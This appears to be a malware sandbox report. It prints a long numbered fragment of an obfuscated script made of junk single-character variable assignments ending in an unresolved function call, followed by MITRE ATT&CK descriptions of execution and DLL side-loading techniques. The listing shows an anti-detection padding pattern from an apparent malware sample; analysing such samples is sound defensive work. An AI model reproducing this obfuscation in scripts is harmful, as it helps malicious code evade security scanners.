306	bsjjks = "Z";
307	bsjjks = "F";
308	bsjjks = "W";
309	bsjjks = "z";
310	bsjjks = "e";
311	bsjjks = "x";
312	bsjjks = "X";
313	bsjjks = "s";
314	bsjjks = "U";
315	bsjjks = "C";
316	bsjjks = "W";
317	bsjjks = "V";
318	bsjjks = "h";
319	bsjjks = "Y";
320	bsjjks = "F";
321	bsjjks = "W";
322	bsjjks = "F";
323	bsjjks = "j";
324	bsjjks = "M";
325	bsjjks = "M";
326	bsjjks = "/";
327	egpyqn = "e";
328	egpyqn = "C";
329	egpyqn = "u";
330	egpyqn = "G";
331	egpyqn = "t";
332	egpyqn = "T";
333	egpyqn = "L";
334	egpyqn = "v";
335	egpyqn = "e";
336	egpyqn = "s";
337	egpyqn = "v";
338	egpyqn = "z";
339	egpyqn = "g";
340	egpyqn = "x";
341	egpyqn = "y";
342	egpyqn = "B";
343	egpyqn = "t";
344	egpyqn = "C";
345	egpyqn = "N";
346	egpyqn = "M";
347	egpyqn = "a";
348	egpyqn = "d";
349	egpyqn = "x";
350	egpyqn = "F";
351	egpyqn = "o";
352	egpyqn = "t";
353	egpyqn = "P";
354	egpyqn = "L";
355	egpyqn = "P";
356	egpyqn = "j";
357	egpyqn = "B";
358	egpyqn = "F";
359	egpyqn = "D";
360	egpyqn = "H";
361	egpyqn = "U";
362	egpyqn = "U";
363	egpyqn = "e";
364	ffhssjtcj = "P";
365	ffhssjtcj = "K";
366	ffhssjtcj = "U";
367	ffhssjtcj = "y";
368	ffhssjtcj = "I";
369	ffhssjtcj = "i";
370	ffhssjtcj = "P";
371	ffhssjtcj = "i";
372	ffhssjtcj = "c";
373	ffhssjtcj = "w";
374	ffhssjtcj = "F";
375	ffhssjtcj = "o";
376	ffhssjtcj = "p";
377	ffhssjtcj = "J";
378	ffhssjtcj = "q";
379	ffhssjtcj = "b";
380	ffhssjtcj = "s";
381	ffhssjtcj = "w";
382	ffhssjtcj = "J";
383	ffhssjtcj = "e";
384	ffhssjtcj = "k";
385	ffhssjtcj = "r";
386	ffhssjtcj = "k";
387	ffhssjtcj = "D";
388	ffhssjtcj = "f";
389	ffhssjtcj = "M";
390	ffhssjtcj = "A";
391	ffhssjtcj = "e";
392	ffhssjtcj = "V";
393	ffhssjtcj = "b";
394	ffhssjtcj = "l";
395	ffhssjtcj = "S";
396	ffhssjtcj = "L";
397	ffhssjtcj = "U";
398	ffhssjtcj = "H";
399	pskzygvnc = "D";
400	pskzygvnc = "N";
401	pskzygvnc = "J";
402	pskzygvnc = "y";
403	pskzygvnc = "C";
404	pskzygvnc = "r";
405	pskzygvnc = "j";
406	pskzygvnc = "K";
407	pskzygvnc = "u";
408	pskzygvnc = "p";
409	pskzygvnc = "y";
410	pskzygvnc = "a";
411	gglmkgk = "D";
412	gglmkgk = "B";
413	gglmkgk = "T";
414	gglmkgk = "z";
415	gglmkgk = "X";
416	gglmkgk = "U";
417	gglmkgk = "n";
418	gglmkgk = "r";
419	gglmkgk = "L";
420	gglmkgk = "o";
421	gglmkgk = "q";
422	gglmkgk = "M";
423	gglmkgk = "H";
424	gglmkgk = "k";
425	gglmkgk = "U";
426	gglmkgk = "m";
427	gglmkgk = "C";
428	gglmkgk = "p";
429	gglmkgk = "s";
430	gglmkgk = "q";
431	gglmkgk = "t";
432	gglmkgk = "J";
433	gglmkgk = "x";
434	gglmkgk = "U";
435	gglmkgk = "x";
436	gglmkgk = "U";
437	gglmkgk = "P";
438	gglmkgk = "U";
439	gglmkgk = "f";
440	gglmkgk = "c";
441	gglmkgk = "v";
442	gglmkgk = "M";
443	gglmkgk = "J";
444	gglmkgk = "i";
445	gglmkgk = "c";
446	gglmkgk = "5";
447	hbiqjzrcv = "L";
448	hbiqjzrcv = "w";
449	hbiqjzrcv = "d";
450	hbiqjzrcv = "B";
451	hbiqjzrcv = "b";
452	hbiqjzrcv = "s";
453	pmzoxbi = "F";
454	pmzoxbi = "d";
455	pmzoxbi = "O";
456	pmzoxbi = "p";
457	pmzoxbi = "I";
458	pmzoxbi = "w";
459	pmzoxbi = "i";
460	pmzoxbi = "Q";
461	pmzoxbi = "H";
462	pmzoxbi = "V";
463	pmzoxbi = "K";
464	pmzoxbi = "K";
465	pmzoxbi = "k";
466	pmzoxbi = "A";
467	pmzoxbi = "v";
468	pmzoxbi = "s";
469	pmzoxbi = "W";
470	pmzoxbi = "z";
471	pmzoxbi = "Z";
472	pmzoxbi = "f";
473	pmzoxbi = "X";
474	pmzoxbi = "Q";
475	pmzoxbi = "D";
476	pmzoxbi = "u";
477	pmzoxbi = "W";
478	pmzoxbi = "K";
479	pmzoxbi = "J";
480	pmzoxbi = "B";
481	pmzoxbi = "z";
482	pmzoxbi = "e";
483	pmzoxbi = "y";
484	pmzoxbi = "V";
485	pmzoxbi = "i";
486	pmzoxbi = "F";
487	pmzoxbi = "L";
488	pmzoxbi = "U";
489	pmzoxbi = "A";
490	pmzoxbi = "g";
491	pmzoxbi = "y";
492	pmzoxbi = "Y";
493	pmzoxbi = "p";
494	pmzoxbi = "a";
495	pmzoxbi = "v";
496	pmzoxbi = "M";
497	pmzoxbi = "0";
498	axere = "l";
499	axere = "I";
500	axere = "k";
501	axere = "B";
502	axere = "Q";
503	axere = "t";
504	axere = "d";
505	axere = "j";
506	axere = "C";
507	axere = "O";
508	axere = "X";
509	axere = "m";
510	axere = "K";
511	axere = "J";
512	axere = "f";
513	axere = "L";
514	axere = "t";
515	axere = "a";
516	axere = "h";
517	axere = "D";
518	axere = "z";
519	axere = "W";
520	axere = "g";
521	axere = "c";
522	axere = "j";
523	axere = "O";
524	axere = "O";
525	axere = "o";
526	axere = "S";
527	axere = "I";
528	axere = "q";
529	axere = "p";
530	sxrzp = "n";
531	sxrzp = "i";
532	sxrzp = "B";
533	sxrzp = "E";
534	sxrzp = "u";
535	sxrzp = "I";
536	sxrzp = "Q";
537	sxrzp = "u";
538	sxrzp = "n";
539	sxrzp = "B";
540	sxrzp = "I";
541	sxrzp = "B";
542	sxrzp = "y";
543	sxrzp = "c";
544	sxrzp = "u";
545	sxrzp = "z";
546	sxrzp = "f";
547	sxrzp = "V";
548	sxrzp = "b";
549	sxrzp = "X";
550	sxrzp = "k";
551	sxrzp = "g";
552	sxrzp = "A";
553	sxrzp = "N";
554	sxrzp = "r";
555	sxrzp = "z";
556	sxrzp = "E";
557	sxrzp = "g";
558	sxrzp = "P";
559	sxrzp = "v";
560	sxrzp = "g";
561	sxrzp = "M";
562	sxrzp = "x";
563	sxrzp = "X";
564	sxrzp = "I";
565	sxrzp = "l";
566	guxtclo = "u";
567	guxtclo = "q";
568	guxtclo = "F";
569	guxtclo = "K";
570	guxtclo = "i";
571	guxtclo = "p";
572	guxtclo = "I";
573	guxtclo = "U";
574	guxtclo = "w";
575	guxtclo = "N";
576	guxtclo = "r";
577	guxtclo = "l";
578	guxtclo = "y";
579	guxtclo = "v";
580	guxtclo = "J";
581	guxtclo = "t";
582	guxtclo = "p";
583	guxtclo = "b";
584	guxtclo = "h";
585	guxtclo = "q";
586	guxtclo = "I";
587	guxtclo = "J";
588	guxtclo = "m";
589	guxtclo = "Z";
590	guxtclo = "G";
591	guxtclo = "T";
592	guxtclo = "A";
593	guxtclo = "o";
594	guxtclo = "s";
595	guxtclo = "a";
596	guxtclo = "Q";
597	guxtclo = "l";
598	guxtclo = "A";
599	guxtclo = "k";
600	guxtclo = "B";
601	guxtclo = "B";
602	guxtclo = "L";
603	guxtclo = "v";
604	guxtclo = "d";
605	guxtclo = "D";
606	guxtclo = "b";
607	guxtclo = "S";
608	guxtclo = "c";
609	guxtclo = "\\";
610	mloybmwy = "v";
611	mloybmwy = "N";
612	mloybmwy = "w";
613	mloybmwy = "e";
614	mloybmwy = "E";
615	mloybmwy = "E";
616	mloybmwy = "x";
617	mloybmwy = "s";
618	mloybmwy = "o";
619	mloybmwy = "i";
620	mloybmwy = "U";
621	mloybmwy = "m";
622	mloybmwy = "X";
623	mloybmwy = "u";
624	mloybmwy = "L";
625	mloybmwy = "Y";
626	mloybmwy = "U";
627	mloybmwy = "O";
628	mloybmwy = "H";
629	mloybmwy = "w";
630	mloybmwy = "S";
631	mloybmwy = "g";
632	ggfpnk = "S";
633	ggfpnk = "G";
634	ggfpnk = "M";
635	ggfpnk = "D";
636	ggfpnk = "P";
637	ggfpnk = "T";
638	ggfpnk = "k";
639	ggfpnk = "O";
640	ggfpnk = "P";
641	ggfpnk = "x";
642	ggfpnk = "m";
643	ggfpnk = "v";
644	ggfpnk = "r";
645	ggfpnk = "a";
646	ggfpnk = "Y";
647	ggfpnk = "c";
648	ggfpnk = "p";
649	ggfpnk = "P";
650	ggfpnk = "o";
651	ggfpnk = "F";
652	ggfpnk = "a";
653	ggfpnk = "e";
654	ggfpnk = "y";
655	ggfpnk = "N";
656	ggfpnk = "b";
657	ggfpnk = "g";
658	ggfpnk = "g";
659	ggfpnk = "g";
660	ggfpnk = "W";
661	ggfpnk = "g";
662	ggfpnk = "r";
663	ggfpnk = "D";
664	ggfpnk = "q";
665	ggfpnk = "M";
666	ggfpnk = "P";
667	ggfpnk = "O";
668	ggfpnk = "J";
669	ggfpnk = "D";
670	ggfpnk = "i";
671	ggfpnk = "U";
672	ggfpnk = "F";
673	ggfpnk = "v";
674	ggfpnk = "2";
675	rpnqrtc = "A";
676	rpnqrtc = "T";
677	rpnqrtc = "T";
678	rpnqrtc = "A";
679	rpnqrtc = "N";
680	rpnqrtc = "B";
681	rpnqrtc = "Q";
682	rpnqrtc = "y";
683	rpnqrtc = "T";
684	rpnqrtc = "E";
685	rpnqrtc = "q";
686	rpnqrtc = "c";
687	rpnqrtc = "f";
688	rpnqrtc = "t";
689	rpnqrtc = "c";
690	rpnqrtc = "F";
691	rpnqrtc = "j";
692	rpnqrtc = "T";
693	rpnqrtc = "&";
694	fvudt = "e";
695	fvudt = "e";
696	fvudt = "f";
697	fvudt = "S";
698	fvudt = "H";
699	fvudt = "o";
700	fvudt = "q";
701	fvudt = "L";
702	fvudt = "w";
703	fvudt = "i";
704	fvudt = "U";
705	fvudt = "v";
706	fvudt = "e";
707	fvudt = "q";
708	fvudt = "o";
709	fvudt = "s";
710	fvudt = "b";
711	fvudt = "M";
712	fvudt = "H";
713	fvudt = "W";
714	cbvtjz = "i";
715	cbvtjz = "i";
716	cbvtjz = "z";
717	cbvtjz = "W";
718	cbvtjz = "a";
719	cbvtjz = "u";
720	cbvtjz = "S";
721	cbvtjz = "G";
722	cbvtjz = "S";
723	cbvtjz = "O";
724	trkvpkr = "g";
725	trkvpkr = "H";
726	trkvpkr = "X";
727	trkvpkr = "T";
728	trkvpkr = "W";
729	trkvpkr = "b";
730	moxjrje = "H";
731	moxjrje = "k";
732	moxjrje = "p";
733	moxjrje = "F";
734	moxjrje = "X";
735	moxjrje = "r";
736	moxjrje = "h";
737	moxjrje = "g";
738	moxjrje = "-";
739	xxhybw = "J";
740	xxhybw = "u";
741	xxhybw = "g";
742	xxhybw = "N";
743	xxhybw = "z";
744	xxhybw = "m";
745	xxhybw = "I";
746	xxhybw = "r";
747	xxhybw = "P";
748	xxhybw = "p";
749	xxhybw = "T";
750	xxhybw = "d";
751	xxhybw = "d";
752	xxhybw = "g";
753	xxhybw = "n";
754	xxhybw = "f";
755	rzcwzmhqg = "P";
756	rzcwzmhqg = "Q";
757	rzcwzmhqg = "o";
758	rzcwzmhqg = "X";
759	rzcwzmhqg = "q";
760	rzcwzmhqg = "L";
761	rzcwzmhqg = "O";
762	rzcwzmhqg = "K";
763	rzcwzmhqg = "b";
764	rzcwzmhqg = "I";
765	rzcwzmhqg = "Q";
766	rzcwzmhqg = "g";
767	rzcwzmhqg = "R";
768	rzcwzmhqg = "i";
769	rzcwzmhqg = "Q";
770	rzcwzmhqg = "g";
771	rzcwzmhqg = "x";
772	rzcwzmhqg = "U";
773	rzcwzmhqg = "m";
774	rzcwzmhqg = "O";
775	rzcwzmhqg = "L";
776	rzcwzmhqg = "W";
777	rzcwzmhqg = "g";
778	rzcwzmhqg = "A";
779	rzcwzmhqg = "F";
780	rzcwzmhqg = "p";
781	rzcwzmhqg = "k";
782	rzcwzmhqg = "H";
783	rzcwzmhqg = "p";
784	rzcwzmhqg = "f";
785	rzcwzmhqg = "M";
786	rzcwzmhqg = "v";
787	rzcwzmhqg = "t";
788	rzcwzmhqg = "w";
789	cbvirar = "k";
790	owzuvkjs = "j";
791	owzuvkjs = "J";
792	owzuvkjs = "f";
793	owzuvkjs = "d";
794	owzuvkjs = "h";
795	owzuvkjs = "S";
796	owzuvkjs = "L";
797	owzuvkjs = "P";
798	owzuvkjs = "D";
799	owzuvkjs = "O";
800	owzuvkjs = "M";
801	owzuvkjs = "A";
802	owzuvkjs = "K";
803	owzuvkjs = "%";
804	vdbfismcm = "f";
805	vdbfismcm = "F";
806	vdbfismcm = "L";
807	vdbfismcm = "a";
808	vdbfismcm = "Y";
809	vdbfismcm = "M";
810	vdbfismcm = "k";
811	vdbfismcm = "r";
812	vdbfismcm = "K";
813	vdbfismcm = "o";
814	vdbfismcm = "g";
815	vdbfismcm = "y";
816	vdbfismcm = "v";
817	vdbfismcm = "X";
818	vdbfismcm = "d";
819	vdbfismcm = "J";
820	vdbfismcm = "Y";
821	vdbfismcm = "J";
822	vdbfismcm = "b";
823	vdbfismcm = "d";
824	vdbfismcm = "E";
825	vdbfismcm = "n";
826	vdbfismcm = "v";
827	vdbfismcm = "Q";
828	vdbfismcm = "n";
829	vdbfismcm = "E";
830	vdbfismcm = "w";
831	vdbfismcm = "n";
832	vdbfismcm = "F";
833	vdbfismcm = "D";
834	vdbfismcm = "S";
835	vdbfismcm = "p";
836	vdbfismcm = "o";
837	vdbfismcm = "g";
838	vdbfismcm = "4";
839	laknoysm = "k";
840	laknoysm = "S";
841	laknoysm = "Y";
842	laknoysm = "f";
843	laknoysm = "t";
844	laknoysm = "E";
845	laknoysm = "y";
846	laknoysm = "L";
847	laknoysm = "E";
848	laknoysm = "a";
849	laknoysm = "W";
850	laknoysm = "g";
851	laknoysm = "x";
852	laknoysm = "H";
853	laknoysm = "d";
854	laknoysm = "Z";
855	laknoysm = "g";
856	laknoysm = "R";
857	laknoysm = "i";
858	laknoysm = "i";
859	laknoysm = "q";
860	awcimm = "D";
861	awcimm = "J";
862	awcimm = "V";
863	awcimm = "b";
864	awcimm = "g";
865	awcimm = "U";
866	awcimm = "a";
867	awcimm = "q";
868	awcimm = "m";
869	awcimm = "k";
870	awcimm = "s";
871	awcimm = "n";
872	awcimm = "C";
873	awcimm = "c";
874	awcimm = "J";
875	awcimm = "v";
876	awcimm = "P";
877	awcimm = "c";
878	awcimm = "Z";
879	awcimm = "U";
880	awcimm = "Q";
881	awcimm = "h";
882	awcimm = "W";
883	awcimm = "K";
884	awcimm = "G";
885	awcimm = "c";
886	awcimm = "S";
887	awcimm = "N";
888	awcimm = "O";
889	awcimm = "F";
890	awcimm = "J";
891	awcimm = "i";
892	awcimm = "z";
893	awcimm = "A";
894	awcimm = "g";
895	awcimm = "R";
896	awcimm = "8";
897	uymie = "K";
898	uymie = "d";
899	uymie = "A";
900	uymie = "M";
901	uymie = "Z";
902	uymie = "H";
903	uymie = "G";
904	uymie = "o";
905	uymie = "J";
906	uymie = "F";
907	uymie = "x";
908	uymie = "d";
909	uymie = "y";
910	uymie = "n";
911	uymie = "X";
912	uymie = "l";
913	uymie = "I";
914	oxptgt = "r";
915	oxptgt = "P";
916	oxptgt = "X";
917	oxptgt = "h";
918	oxptgt = "F";
919	oxptgt = "I";
920	oxptgt = "q";
921	oxptgt = "t";
922	oxptgt = "b";
923	oxptgt = "W";
924	oxptgt = "x";
925	oxptgt = "j";
926	oxptgt = "A";
927	oxptgt = "R";
928	oxptgt = "B";
929	oxptgt = "H";
930	oxptgt = "F";
931	oxptgt = "Q";
932	oxptgt = "r";
933	oxptgt = "K";
934	oxptgt = "d";
935	oxptgt = "D";
936	oxptgt = "I";
937	oxptgt = "N";
938	oxptgt = "m";
939	oxptgt = "o";
940	oxptgt = "Z";
941	oxptgt = "Q";
942	oxptgt = "u";
943	oxptgt = "O";
944	oxptgt = "p";
945	oxptgt = "D";
946	oxptgt = "l";
947	oxptgt = "M";
948	oxptgt = "T";
949	oxptgt = "Q";
950	oxptgt = "i";
951	oxptgt = "B";
952	oxptgt = "Q";
953	oxptgt = "d";
954	oxptgt = "x";
955	oxptgt = "A";
956	oxptgt = "e";
957	oxptgt = "T";
958	oxptgt = "_";
959	danqcm = "E";
960	danqcm = "M";
961	danqcm = "q";
962	danqcm = "I";
963	danqcm = "z";
964	danqcm = "f";
965	danqcm = "t";
966	danqcm = "a";
967	danqcm = "N";
968	danqcm = "Z";
969	danqcm = "R";
970	danqcm = "R";
971	danqcm = "C";
972	danqcm = "A";
973	danqcm = "N";
974	danqcm = "i";
975	svztpfupx = "h";
976	svztpfupx = "s";
977	svztpfupx = "e";
978	svztpfupx = "b";
979	svztpfupx = "D";
980	svztpfupx = "z";
981	svztpfupx = "x";
982	svztpfupx = "v";
983	svztpfupx = "j";
984	tudebmqgn = "B";
985	tudebmqgn = "P";
986	tudebmqgn = "G";
987	tudebmqgn = "z";
988	tudebmqgn = "c";
989	tudebmqgn = "N";
990	tudebmqgn = "P";
991	tudebmqgn = "I";
992	tudebmqgn = "a";
993	tudebmqgn = "E";
994	tudebmqgn = "v";
995	tudebmqgn = "K";
996	tudebmqgn = "W";
997	tudebmqgn = "o";
998	tudebmqgn = "J";
999	tudebmqgn = "K";
1000	tudebmqgn = "k";
1001	tudebmqgn = "W";
1002	tudebmqgn = "q";
1003	tudebmqgn = "D";
1004	tudebmqgn = "q";
1005	tudebmqgn = "w";
1006	tudebmqgn = "m";
1007	tudebmqgn = "Y";
1008	tudebmqgn = "H";
1009	tudebmqgn = "w";
1010	tudebmqgn = "f";
1011	tudebmqgn = "c";
1012	tudebmqgn = "r";
1013	rxbpjfrip = "Y";
1014	rxbpjfrip = "r";
1015	rxbpjfrip = "T";
1016	rxbpjfrip = "D";
1017	rxbpjfrip = "h";
1018	rxbpjfrip = "R";
1019	rxbpjfrip = "X";
1020	rxbpjfrip = "v";
1021	rxbpjfrip = "W";
1022	rxbpjfrip = "f";
1023	rxbpjfrip = "l";
1024	rxbpjfrip = "f";
1025	rxbpjfrip = "R";
1026	rxbpjfrip = "y";
1027	rxbpjfrip = "F";
1028	jwdhbaiy = "P";
1029	jwdhbaiy = "a";
1030	jwdhbaiy = "s";
1031	jwdhbaiy = "m";
1032	jwdhbaiy = "s";
1033	jwdhbaiy = "x";
1034	jwdhbaiy = "P";
1035	jwdhbaiy = "s";
1036	jwdhbaiy = "M";
1037	jwdhbaiy = "a";
1038	jwdhbaiy = "u";
1039	jwdhbaiy = "i";
1040	jwdhbaiy = "q";
1041	jwdhbaiy = "S";
1042	jwdhbaiy = "z";
1043	jwdhbaiy = "x";
1044	jwdhbaiy = "r";
1045	jwdhbaiy = "s";
1046	jwdhbaiy = "c";
1047	jwdhbaiy = "h";
1048	jwdhbaiy = "U";
1049	jwdhbaiy = ".";
1050	nseui = "c";
1051	nseui = "l";
1052	nseui = "Q";
1053	nseui = "Q";
1054	nseui = "o";
1055	nseui = "M";
1056	nseui = "f";
1057	nseui = "e";
1058	nseui = "k";
1059	nseui = "w";
1060	nseui = "T";
1061	nseui = "n";
1062	nseui = "Q";
1063	nseui = "M";
1064	nseui = "N";
1065	nseui = "i";
1066	nseui = "v";
1067	nseui = "G";
1068	nseui = "Y";
1069	nseui = "s";
1070	nseui = "N";
1071	nseui = "q";
1072	nseui = "r";
1073	nseui = "F";
1074	nseui = "v";
1075	pzhictkq = "G";
1076	pzhictkq = "B";
1077	pzhictkq = "o";
1078	pzhictkq = "g";
1079	pzhictkq = "v";
1080	pzhictkq = "Q";
1081	pzhictkq = "h";
1082	pzhictkq = "Z";
1083	pzhictkq = "H";
1084	pzhictkq = "H";
1085	pzhictkq = "W";
1086	pzhictkq = "e";
1087	pzhictkq = "e";
1088	pzhictkq = "c";
1089	pzhictkq = "O";
1090	pzhictkq = "h";
1091	pzhictkq = "U";
1092	pzhictkq = "w";
1093	pzhictkq = "F";
1094	pzhictkq = "w";
1095	pzhictkq = "r";
1096	pzhictkq = "q";
1097	pzhictkq = "b";
1098	pzhictkq = "W";
1099	pzhictkq = "N";
1100	pzhictkq = "w";
1101	pzhictkq = "E";
1102	pzhictkq = "X";
1103	pzhictkq = "C";
1104	pzhictkq = "9";
1105	pjrmoci = "Z";
1106	pjrmoci = "U";
1107	pjrmoci = "G";
1108	pjrmoci = "n";
1109	pjrmoci = "O";
1110	pjrmoci = "J";
1111	pjrmoci = "a";
1112	pjrmoci = "x";
1113	pjrmoci = "O";
1114	pjrmoci = "Q";
1115	pjrmoci = "1";
1116	rzsklx = "x";
1117	rzsklx = "Q";
1118	hklxggm = "C";
1119	hklxggm = "H";
1120	hklxggm = "Z";
1121	hklxggm = "M";
1122	hklxggm = "e";
1123	hklxggm = ":";
1124	qdxibnd = "h";
1125	qdxibnd = "i";
1126	qdxibnd = "c";
1127	qdxibnd = "z";
1128	qdxibnd = "R";
1129	qdxibnd = "V";
1130	qdxibnd = "N";
1131	qdxibnd = "Z";
1132	qdxibnd = "R";
1133	qdxibnd = "Y";
1134	qdxibnd = "X";
1135	qdxibnd = "j";
1136	qdxibnd = "X";
1137	qdxibnd = "t";
1138	qdxibnd = "h";
1139	qdxibnd = "t";
1140	qdxibnd = "m";
1141	qdxibnd = "j";
1142	qdxibnd = "Y";
1143	qdxibnd = "S";
1144	qdxibnd = "E";
1145	qdxibnd = "K";
1146	qdxibnd = "r";
1147	qdxibnd = "B";
1148	qdxibnd = "s";
1149	qdxibnd = "n";
1150	qdxibnd = "D";
1151	qdxibnd = "x";
1152	qdxibnd = "u";
1153	qdxibnd = "N";
1154	qdxibnd = "a";
1155	qdxibnd = "Z";
1156	qdxibnd = "U";
1157	qdxibnd = "j";
1158	qdxibnd = "D";
1159	qdxibnd = "n";
1160	qdxibnd = "K";
1161	icomcnoel = "P";
1162	icomcnoel = "l";
1163	icomcnoel = "C";
1164	icomcnoel = "j";
1165	icomcnoel = "Z";
1166	icomcnoel = "B";
1167	icomcnoel = "B";
1168	icomcnoel = "M";
1169	icomcnoel = "E";
1170	icomcnoel = "S";
1171	icomcnoel = "n";
1172	icomcnoel = "u";
1173	icomcnoel = "S";
1174	icomcnoel = "F";
1175	icomcnoel = "M";
1176	icomcnoel = "t";
1177	icomcnoel = "r";
1178	icomcnoel = "k";
1179	icomcnoel = "C";
1180	wjqzgrewh = "G";
1181	wjqzgrewh = "T";
1182	hsutrzfq = "o";
1183	hsutrzfq = "M";
1184	hsutrzfq = "r";
1185	hsutrzfq = "q";
1186	hsutrzfq = "r";
1187	hsutrzfq = "c";
1188	zsppghqwu = "T";
1189	zsppghqwu = "T";
1190	zsppghqwu = "m";
1191	zsppghqwu = "g";
1192	zsppghqwu = "K";
1193	zsppghqwu = "V";
1194	zsppghqwu = "P";
1195	zsppghqwu = "s";
1196	zsppghqwu = "Q";
1197	zsppghqwu = "W";
1198	zsppghqwu = "G";
1199	zsppghqwu = "q";
1200	zsppghqwu = "I";
1201	zsppghqwu = "U";
1202	zsppghqwu = "i";
1203	zsppghqwu = "V";
1204	zsppghqwu = "k";
1205	zsppghqwu = "x";
1206	zsppghqwu = "Y";
1207	zsppghqwu = "J";
1208	zsppghqwu = "P";
1209	ydmneyvs = "z";
1210	ydmneyvs = "a";
1211	ydmneyvs = "J";
1212	ydmneyvs = "f";
1213	ydmneyvs = "s";
1214	ydmneyvs = "q";
1215	ydmneyvs = "P";
1216	ydmneyvs = "s";
1217	ydmneyvs = "t";
1218	ydmneyvs = "v";
1219	ydmneyvs = "m";
1220	ydmneyvs = "A";
1221	ydmneyvs = "i";
1222	ydmneyvs = "e";
1223	ydmneyvs = "Y";
1224	sgcgfowtb = "b";
1225	sgcgfowtb = "S";
1226	sgcgfowtb = "G";
1227	sgcgfowtb = "p";
1228	sgcgfowtb = "w";
1229	sgcgfowtb = "S";
1230	sgcgfowtb = "n";
1231	sgcgfowtb = "g";
1232	sgcgfowtb = "W";
1233	sgcgfowtb = "Q";
1234	sgcgfowtb = "B";
1235	sgcgfowtb = "E";
1236	sgcgfowtb = "n";
1237	sgcgfowtb = "b";
1238	sgcgfowtb = "r";
1239	sgcgfowtb = "f";
1240	sgcgfowtb = "3";
1241	getecjoa = "T";
1242	getecjoa = "g";
1243	getecjoa = "J";
1244	getecjoa = "R";
1245	getecjoa = "m";
1246	getecjoa = "T";
1247	getecjoa = "c";
1248	getecjoa = "L";
1249	getecjoa = "U";
1250	getecjoa = "P";
1251	getecjoa = "h";
1252	getecjoa = "I";
1253	getecjoa = "z";
1254	getecjoa = "V";
1255	getecjoa = "j";
1256	getecjoa = "z";
1257	getecjoa = "o";
1258	getecjoa = "o";
1259	getecjoa = "M";
1260	getecjoa = "Q";
1261	getecjoa = "e";
1262	getecjoa = "j";
1263	getecjoa = "z";
1264	getecjoa = "D";
1265	getecjoa = "r";
1266	getecjoa = "W";
1267	getecjoa = "d";
1268	getecjoa = "G";
1269	getecjoa = "e";
1270	getecjoa = "U";
1271	cqevp = "p";
1272	cqevp = "g";
1273	cqevp = "L";
1274	vdtktjvr = "S";
1275	vdtktjvr = "F";
1276	vdtktjvr = "b";
1277	vdtktjvr = "V";
1278	vdtktjvr = "B";
1279	vdtktjvr = "R";
1280	vdtktjvr = "d";
1281	vdtktjvr = "U";
1282	vdtktjvr = "K";
1283	vdtktjvr = "D";
1284	vdtktjvr = "M";
1285	vdtktjvr = "B";
1286	vdtktjvr = "d";
1287	vdtktjvr = "s";
1288	vdtktjvr = "J";
1289	vdtktjvr = "C";
1290	vdtktjvr = "A";
1291	vdtktjvr = "X";
1292	vdtktjvr = "H";
1293	vdtktjvr = "e";
1294	vdtktjvr = "x";
1295	vdtktjvr = "n";
1296	icgvfoyg = "R";
1297	icgvfoyg = "S";
1298	icgvfoyg = "r";
1299	icgvfoyg = "S";
1300	tepjfxbhh = "i";
1301	tepjfxbhh = "H";
1302	tepjfxbhh = "p";
1303	tepjfxbhh = "S";
1304	tepjfxbhh = "h";
1305	tepjfxbhh = "M";
1306	tepjfxbhh = "z";
1307	tepjfxbhh = "P";
1308	tepjfxbhh = "p";
1309	tepjfxbhh = "g";
1310	tepjfxbhh = "X";
1311	tepjfxbhh = "C";
1312	tepjfxbhh = "W";
1313	tepjfxbhh = "k";
1314	tepjfxbhh = "S";
1315	tepjfxbhh = "T";
1316	tepjfxbhh = "y";
1317	tepjfxbhh = "l";
1318	tepjfxbhh = "p";
1319	tepjfxbhh = "V";
1320	tepjfxbhh = "V";
1321	tepjfxbhh = "h";
1322	tepjfxbhh = "U";
1323	tepjfxbhh = "O";
1324	tepjfxbhh = "o";
1325	tepjfxbhh = "J";
1326	tepjfxbhh = "B";
1327	tepjfxbhh = "K";
1328	tepjfxbhh = "A";
1329	tepjfxbhh = "@";
1330	jpcfelmuf ( );	jpcfelmuf() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

